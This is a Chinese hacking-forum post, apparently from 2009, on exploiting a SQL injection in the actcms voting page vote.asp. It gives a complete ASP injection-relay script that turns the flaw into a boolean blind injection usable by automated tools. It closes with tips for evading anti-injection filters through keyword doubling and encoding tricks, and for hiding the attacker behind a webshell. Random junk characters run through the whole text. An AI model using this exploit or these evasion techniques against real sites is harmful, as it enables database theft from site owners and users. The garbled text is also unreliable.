; n# d; T: {6 v9 [( E6 Z* F+ |
看到ninty大牛的blog的一篇文章
6 Z4 [) @' Z* J9 o链接标记[url]http://www.forjj.com/?action=show&id=80[/url]
1 E5 n; H- q: i5 Z7 c9 w关于actcms漏洞的利用 by 3x qq:381862589% i* i" x* k- O/ }
转载请注明以上
5 w- I% j+ t; r漏洞文件:. m( N4 ~3 z* a6 ~- R7 ~- O
/plus/vote/vote.asp
' i) u7 E$ u. o E3 K/ h代码: 链接标记预览源代码 链接标记打印链接标记关于1if request("voted").count=0 then
7 J B2 `: L7 K6 M. M Z+ t* |. @
# f, l; q" A" \1 m, o2 response.write "<script>alert('请选择投票项目。');window.close()</script>" 4 \( L1 G H4 U
9 x* V; e( M( \2 b4 F1 h* c! T3 response.end $ v! ^* W9 p; t0 a
) v- _9 b! d) ]& K d, d4 end if
4 z/ Q" \% T2 C. [
. M" O6 X4 ]& [$ Y; Y4 S5 O5 for i=1 to request("voted").count : u7 Y+ M5 R( s: ^ ^8 M3 C
( d% V4 }$ Z u! G& c5 U2 u6 actcms.actexe("Update vote_act set VoteNum=VoteNum+1 where id="&request("voted")(i)) - ?8 h4 k% N. u% a4 m
' P3 U U, [3 n# V. _
7 next / g, n5 d: z' v4 w: \+ F, c7 Z( q
9 j1 m$ k6 ?' A @/ @" i
8.... ) |! q! Q( e. G5 T' I$ s
, o8 W! O& u2 E" z* |" K
9response.Redirect "index.asp?id="&id&""
y; b! q( d- Q) |, d. Q# I6 J投票结束回跳转回index.asp这个投票结果页面% J* c% B' F0 W; ?
如果投票成功票数加1
6 r- d1 F# x4 j" ~) z8 J7 } 失败票数不变: i- r5 J1 E# G+ T, n
如图:
% ^ b5 f6 B. T8 V2 j* K0 m/ ahttp://www.t00ls.net/images/default/attachimg.gif http://www.t00ls.net/attachments/month_0912/091227132032ef432aa12b1267.jpg链接标记下载 (3.95 KB)
2 m1 U& t- g( R# Y
' x* S, x2 ]+ U8 I* ^8 [2009-12-27 13:20' a5 w- @2 |! b" D1 r8 r/ J" q Y
) u% j* m' s* x6 |, W. B, `
利用这点来注入,由于ninty大牛学java的,但是java运行环境实在是。。。。不说了* b; D0 C! e; I% S8 N
" I2 [( N/ E/ w5 {
本帖隐藏的内容需要回复才可以浏览3 ]( h' t( N" L" R
我们用注入中转来实现这个注入具体代码如下:' m/ r: i$ {% C/ O& T& w" W
先用寂寞的刺猬大牛的注入中转生成jmget.asp b! ?5 W5 ~% ~' } M4 m
注入地址:http://localhost/actcms/plus/vote/vote.asp
; M. d- V' A& x4 B注入键值:id=1&voted=-1 or 1= '这里这样换的话就有学问了,不用去判断有什么投票选项: s1 c) J) a% l' }
, s9 D; ^3 h$ O1 H5 d" Q- z, E然后进行修改变成如下代码: 链接标记预览源代码 链接标记打印链接标记关于01<% 1 G, a' ~+ Y# ]* |
- e: m( w* P/ R5 K/ x; z, t' P02JmdcwName=request("jmdcw")
- O) W! \( n6 w+ N* I- D4 F+ u; m( A8 d+ [' ~2 o% t
03' 注入中转站 GET 版,BY 寂寞的刺猬 [L.S.T]
+ V0 w2 K, W( t/ q; Y7 c/ |& ~* n: i, ~9 Y
04JmStr="id=1&voted=-1 or 1="&JmdcwName
" f" V' k0 I M0 N( V1 l. W9 t3 o- K2 \7 t5 s. m3 I$ Q
05JmStr=URLEncoding(JmStr)
! b8 y. G1 C" |% V" m* b" @: ?. Q+ i- @# ]7 }6 @8 e' v' e
06JMUrl="链接标记http://localhost/actcms/plus/vote/vote.asp", O) K( B% T+ J% k; c
2 X1 }8 U6 r) ]& P& i
07testurl="链接标记http://localhost/actcms/plus/vote/index.asp"
) {0 i5 H' H3 L! Z- I! k
; s- N; D& A1 _- V5 G08testurl=testurl & "?" & JmStr 9 g. f, i, a1 F. C- g! E* B
' s O7 u/ k! f/ ~4 y
09JMUrl=JMUrl & "?" & JmStr
) e u. |6 `* r& \, H* \" C/ U) D- S
9 e" {- W6 `- g# @. {10JmRef="链接标记http://localhost/actcms/plus/vote/vote.asp"
& ~8 ]$ |% E, R9 p [' v& \+ E+ L# A; i0 I, a
11JmCok="ASPSESSIONIDAQACTAQB=HKFHJOPDOMAIKGMPGBJJDKLJ;"5 q% m: M% i& x7 o- @
# f, X) R8 D! O7 C, b12JmCok=replace(JmCok,chr(32),"%20")
1 c& ]: T3 o5 q# ^5 N1 G$ y
( t8 w9 ]5 l& J0 p13test1=getSt(PostData(testurl,JmStr,JmCok,JmRef)) '投票前投票记录 getSt为返回投票数的函数 6 t+ y* d0 C1 e) y9 y
1 T# |, |) S3 s6 K& }- t; T A, B0 \14
( y& v3 `/ c0 F* X: U* y4 P% [" L( x* R `$ U
15re=PostData(JMUrl,JmStr,JmCok,JmRef) '投票
0 `, ]$ @8 v& V' s
" f9 [; C m. K6 Q3 B+ F& v16
- i- n' h4 i+ I, U0 a# }* w0 g( B5 S8 W
17test2=getSt(PostData(testurl,JmStr,JmCok,JmRef)) '投票后的投票记录 0 p! F% b+ l' g+ V- U
( R w$ k9 c& v2 |1 S: I) n
18response.write test1&""&test2&""
) _ W9 O0 w8 Y2 G/ a0 J
+ U2 _9 P+ W) k19 2 g: L0 y" j) c# |
% R9 k8 @4 A1 r
20if test1=test2 then '如前后记录相等,表示失败
3 r1 T3 B) Q; j% u) T. S8 C) W) i! @% s9 N2 ^- m1 e" A0 |3 x
21 response.write "failed"
9 i3 b/ Z# l" |8 ?% _
4 ?2 Y( U4 {- P: f3 Z6 G22else ! q- i0 A2 B7 H
/ S' Z% x, F$ v5 J23 response.write "succeed"7 s% [& y* b0 R( [
0 r8 Z. _$ N; \4 h( W7 R3 h24end if / w. m# h5 {- G4 F# G; M
- v4 ]+ K+ ]8 \8 \9 v( p# b
25 9 q, l) U. F/ p p7 |8 u7 s
: V4 _4 i [! F' u
26response.write "by 3x"
0 E" {3 Z5 Q* k5 l, H* H
+ g9 j5 w+ Z* ^27
$ O- |7 U N+ S) l- v! M- @9 J! [6 m$ p4 e
28 ; [7 y* S6 L0 {! o4 N
3 Q! s$ C1 @ T$ `0 R. w29Function PostData(PostUrl,PostStr,PostCok,PostRef)
2 t) L4 P8 e5 s$ B+ P
0 e6 w5 Q+ F. v8 Z% L30Dim Http . \+ W6 O% |, ~8 w; n! R/ \
7 E4 x# x6 H, @3 W
31Set Http = Server.CreateObject("msxml2.serverXMLHTTP")
! N9 Y# `( u _" C1 L
# K5 ]+ i$ l7 l G32With Http # t7 x' I/ H3 l+ x: T0 d& m- T, D5 f, N
% P) t# o- B/ n% s, C
33
& z. T& W' }- k& {1 U; p/ F9 e5 p# W7 w( Z) X
34.Open "GET",PostUrl,False, m0 c0 _+ h8 x0 T' Q0 M" W0 \* \
# l+ ?6 {, N+ R
35.SetRequestHeader "Content-Type","application/x-www-form-urlencoded"
, K# j4 n; }. m9 A, u3 C' I [- T6 ^
36.SetRequestHeader "Referer",PostRef d+ j6 L& f) C1 [4 W
! T" W2 o7 h4 e0 j% o( D$ E4 }37.SetRequestHeader "Cookie",PostCok
' `; z: F7 q s5 J
' q0 J e- V6 x( K0 ~38.Send ()
# h! M1 e6 f @3 x$ Y+ q) z+ j# }( s* r
39PostData = .ResponseBody
) A M4 k8 G; ?$ @5 _# b5 A$ _7 b- N1 t
40End With5 P7 F; i/ N, }5 q0 i+ w
2 G3 ^6 y3 s! E# v' K! i1 Y7 i7 c41Set Http = Nothing$ K: e3 D$ u' v* |& _4 Q3 }
- ?1 x6 l- H8 q
42PostData =bytes2BSTR(PostData) 9 j8 ] \' B5 {3 Y7 m! W! q w
4 [9 y) B* S" |0 d! Y9 S/ l$ C
43End Function" I% u- z% i! L& ~
; V X ^+ I* E% {( x* {5 h44
( n/ N( q( i: @) |4 d: _
' q" p% g. U2 g- H9 a45
$ I: x' x3 i" W6 K# r Q
: X( Z F. v2 |) G46Function bytes2BSTR(vIn)
- |. F) l) u6 C! `, b! {( Q& k( [
3 v' S3 q& X! ], |# v+ [6 J47Dim strReturn
2 R: v. J; @1 l1 ?8 `7 G
0 d) r# q2 v' m) D48Dim I, ThisCharCode, NextCharCode 7 g" B2 @: K: }2 h' p9 i! L' F: p
, F$ q$ e& F. W49strReturn = ""
3 `" w9 x& }) P# N0 Q4 |# G0 `9 |9 y- ^& ] S
50For I = 1 To LenB(vIn) 6 ]- j' E8 }; p b5 _7 [
7 Q$ G1 p, O5 X5 R O) _
51ThisCharCode = AscB(MidB(vIn, I, 1))
( f9 d0 G1 G1 Y8 |+ l# w S6 W" j& h2 ?% g/ f
52If ThisCharCode < &H80 Then
' f3 q! C/ f( g9 b/ F" f3 f* t3 u2 Q5 I$ R6 t4 m
53strReturn = strReturn & Chr(ThisCharCode)
( L& b" \: `6 w! q3 k9 k% X
2 Y! m* c+ y: ^" `1 ^# B) n& w9 t54Else+ v6 d& L f Q
- k- T' f7 K% J& d, Y
55NextCharCode = AscB(MidB(vIn, I + 1, 1))
+ Q7 E3 l8 s* V! `1 J+ t1 j$ c( S1 k7 a2 @' ?% e5 x
56strReturn = strReturn & Chr(CLng(ThisCharCode) * &H100 + CInt(NextCharCode))
' g; \- W6 A* r9 M/ @3 P# v; S# w' [- u9 B" Z8 N- M
57I = I + 1 - a$ ]4 a6 R. A
6 I# E- R* b4 S# I* v* _8 q6 ` e58End If8 o2 F* R0 E! E
8 E, J$ |. Y+ P8 O) }& _8 ^% Z, \
59Next1 [) ]1 ^! }0 V# I M, k
5 T( Z9 @: L: U# C* i! M: V6 d
60bytes2BSTR = strReturn
1 d! v+ i( ?4 q4 S1 p4 C# |1 P" p1 B9 t8 g0 P$ H. x2 x% S2 v
61End Function$ A# ?( S4 `0 ~; H; j
- x" h! x1 X( z E% r62
: N1 O$ j4 `7 s7 l; |( I$ v, J$ b* |5 g; n; M
63Function URLEncoding(vstrin)
# v- Q; @7 s2 `/ y3 i! F7 a
! I# r* ^: _* w! b8 o5 y$ a, X3 A64strReturn=""' G" w3 C1 L# w! n( W }8 b
" u. x) `6 m+ D9 j/ J65Dim i ! P) w$ P% n6 d: G
- F; }+ x/ l1 u6 I. w3 O4 H
66For i=1 To Len(vstrin)
& y4 c9 L. F& x0 a# W! I
% w# C# s. W& k# {- d" l, T67ThisChr=Mid(vstrin,i,1) 5 K; C% f1 s6 Y! M+ K5 s
3 M7 h+ W, g% {, l% t) T
68if Abs(Asc(ThisChr))< &HFF Then
" i ]& j' ?& y$ }# f! |% s4 H ?4 v& |9 ?: A, j
69strReturn=strReturn & ThisChr
3 G4 _, W; Q( N- R: [* ~1 x8 X
; K, q3 q" O( J, \; c. }' M70Else
7 w- t, f( _8 J& X. @3 S4 h
[' F0 Y; [( B% l/ `71InnerCode=Asc(ThisChr)
f; p/ R1 h* x! b* x) E$ V& ^8 Y" ~! n+ g+ A% I5 W4 E0 ?; K
72If InnerCode<0 Then* s, X& N+ @! O6 ?9 I5 L
: q3 q1 k! @) D! k6 q5 T! a+ z1 [
73InnerCode=InnerCode + &H10000 ; M' I* `5 W. T
$ j9 t7 @/ h; n6 o1 o9 k5 ~2 d5 t0 |74End If+ B& |4 B! `% O8 ~8 W& @! R! \
, J* Y/ G- u# j$ a) @
75Hight1=(InnerCode And &HFF00) \&HFF ! D1 D3 X( @- x4 x* A1 b
* M- m3 i, L+ z5 @( B4 t+ q7 |0 w76Low1=InnerCode And &HFF
# \% _2 \/ t5 a# l( h2 I" |7 q2 P/ E& r7 s. }
77strReturn=strReturn & "%" & Hex(Hight1) & "%" & Hex(Low1)
! c8 x8 N! I5 f' F+ E- ?4 t$ ?7 t# a. U
78End if
1 Y6 F$ B! `* I, h* b# i3 n4 k6 ?# j8 ?4 h
79Next2 U$ f# C' Q/ P; {3 B/ K1 C X! Z
6 m* t7 W3 A/ c3 c$ w8 c
80strReturn=Replace(strReturn,chr(32),"%20") '转换空格,如果网站过滤了空格,尝试用/**/来代替%20
+ Q& r8 p# n6 u- h! x" |' [6 I X" m! u! f# a' q8 s# y
81strReturn=Replace(strReturn,chr(43),"%2B") 'JMDCW增加转换+字符
, ? }9 x/ C+ H; a, W& c* i" `7 Y; w" K7 I* x
82'strReturn=Replace(strReturn,过滤字符,"转换为字符") '在此增加要过滤的代码
! _) F8 F) _' \9 h& q; k0 n# t$ M; O! a) d; T
83URLEncoding=strReturn
3 C8 g" w8 P, A: r" k+ f0 X8 P
3 u6 ~& {( o) X: ~$ i% e84End Function, l7 O/ e( W1 I; w5 o
$ {( L7 K+ q, ~$ E5 x. i2 f. L) h5 u85 ) @% v9 ~3 g8 Q" \! J
+ I: ^" k" b c( a o86function getSt(body)
8 ]* D) Q+ N4 @( t5 s+ ^; U& i/ B3 Y9 e& ^2 Q* N" d ^7 E0 ~) N0 P
87 startpot=instr(body,"投票人数:")+len("投票人数:") 1 _8 U- p7 R& N! ?, b
/ R: }# J/ l Q7 i, L9 K
88 endpot=instr(startpot,body," ")
! u( b3 }! @5 ?- N2 E. o) W- ?+ B9 Y+ ?- K2 i
89 getSt=mid(body,startpot,endpot-startpot) 6 h6 E6 ^! P( N9 Y( M
# A& \+ f6 k; V90end function
& @3 q& o1 a0 s, ^! O
% W, ~" z8 [( y( |- s+ l! b, V91%>
, X1 Z- N: k# ^' O$ w0 E* J" M注入地址就是http://localhost/vote.asp?jmdcw=1 '我把jmget.asp改成vote.asp了7 N ?' Q7 W# T, X
测试下效果:
/ {/ N1 V& Z8 B投票成功:/ l. h; U4 k% `& R4 Y9 g! o
http://www.t00ls.net/images/default/attachimg.gif http://www.t00ls.net/attachments/month_0912/091227132987c71b583da9fb1a.jpg链接标记下载 (15.4 KB)
9 v! y0 @* w4 `+ W6 j( M
. J7 C- g. d3 l) Y) ~2009-12-27 13:29
% D- W0 ?* ]+ i1 D3 _2 f n c& `投票失败* s- V" _: v, P; l( _! q
http://www.t00ls.net/images/default/attachimg.gif http://www.t00ls.net/attachments/month_0912/09122713294089aca533bb1d18.jpg链接标记下载 (13.72 KB)
$ Y0 I2 i5 h1 [+ h, T8 e$ _' `+ [( C# f3 }; x: n
2009-12-27 13:29
7 e( l+ v, g9 G-------------------------------------------------------------------------------* i0 W3 R; W) w4 ~2 F
再补充下。。。这个用明小子等去注我发现不行。。。总结了一下原因,明小子等注入工具是多线程的,而这个投票人数的变量没进行锁的机制。。。所以) {4 f e6 d* L2 C% G' A
很抱歉。。。只能用单线程工具去注入。。。。。- b) f3 {' q$ p( i# q4 @/ A/ [
所以失败。。。不好意思。。。
* i' k; Q0 x& C8 l-------------------------------------------------------------------------------
3 @! b2 d, y" _5 l9 r' c5 X7 Y p0 u( h- {
注入中转的一些其他应用4 q# K+ y) [, h
其实寂寞的刺猬大牛给我们提供这款基于xmlhttp的傻瓜式中转工具实在是太方便我们小菜了1 N/ ^9 t5 ~5 Q' _: \2 B
1.普通的get型的注入点如果中转一下,放到我们的webshell上跑,有效的隐藏我们的id i! C7 g9 x) ^, K/ u9 y& W' @. ]
2.post注入转成get型的注入,方便我们使用工具来跑
6 b. z0 k" q; P7 L9 t3.在一些cms或者一流拦截系统,过滤了selelct等关键词,这里的过滤指的是replace,我们可以在代码中进行转化,replace(jmstr,"select","sselectelect"),这样我们就可以用工具了,对于一流拦截的突破就replace(jmstr,"%20","%09")' G# H) m6 `4 ^- s5 W- J8 r1 f, z
4.在某些防注入系统中的突破,上次我遇到一个防注入,大家应该也很熟悉,可以通过id--->%69d来绕过,但是如果是post的呢?我把他中转成get型的,但是注入键值我改成%69d=,成功绕过$ S: m" z" A7 a1 ?' J* P
# R$ k8 @, g3 R' x: I2 @ |